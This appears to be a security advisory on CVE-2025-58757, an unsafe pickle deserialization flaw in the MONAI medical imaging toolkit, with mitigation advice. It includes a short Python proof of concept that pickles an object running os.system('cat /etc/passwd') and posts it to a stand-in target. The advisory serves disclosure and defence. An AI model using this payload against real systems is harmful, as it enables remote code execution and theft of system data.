Overview
The CVE-2025-58757 vulnerability is a severe security flaw that affects the MONAI AI toolkit, widely used in healthcare imaging applications. This vulnerability has the potential to enable remote code execution, posing a significant risk to any system running MONAI versions up to and including 1.5.0. The ability to execute arbitrary code on a targeted system could lead to significant consequences, such as unauthorized system access, data theft, or even full system compromise. This issue is of particular concern since MONAI is widely used in the healthcare industry where data privacy and security are paramount.

How the Exploit Works
The vulnerability exploits the `pickle_operations` function in `monai/data/utils.py`. If a dictionary key-value pair is received that ends with a specific suffix, the function automatically deserializes it using `pickle.loads()`. Since the function lacks any security measures, an attacker can send malicious data that, when deserialized, may execute arbitrary code on the target system.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. An attacker could send a specially crafted payload to a vulnerable endpoint:
import requests
import pickle
import os
# Create a serialized malicious payload using pickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
malicious_payload = pickle.dumps(Exploit())
# Send the malicious payload to the vulnerable endpoint
response = requests.post('http://target.example.com/vulnerable/endpoint', data=malicious_payload)In this example, the malicious payload, when deserialized, would execute `os.system(‘cat /etc/passwd’)` on the target system, leaking sensitive information.
Mitigation Guidance
Until a patch is released by the vendor, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate this vulnerability by detecting and blocking malicious payloads. It’s also recommended to restrict network access to the affected systems and regularly monitor the activity logs for any unusual behavior.
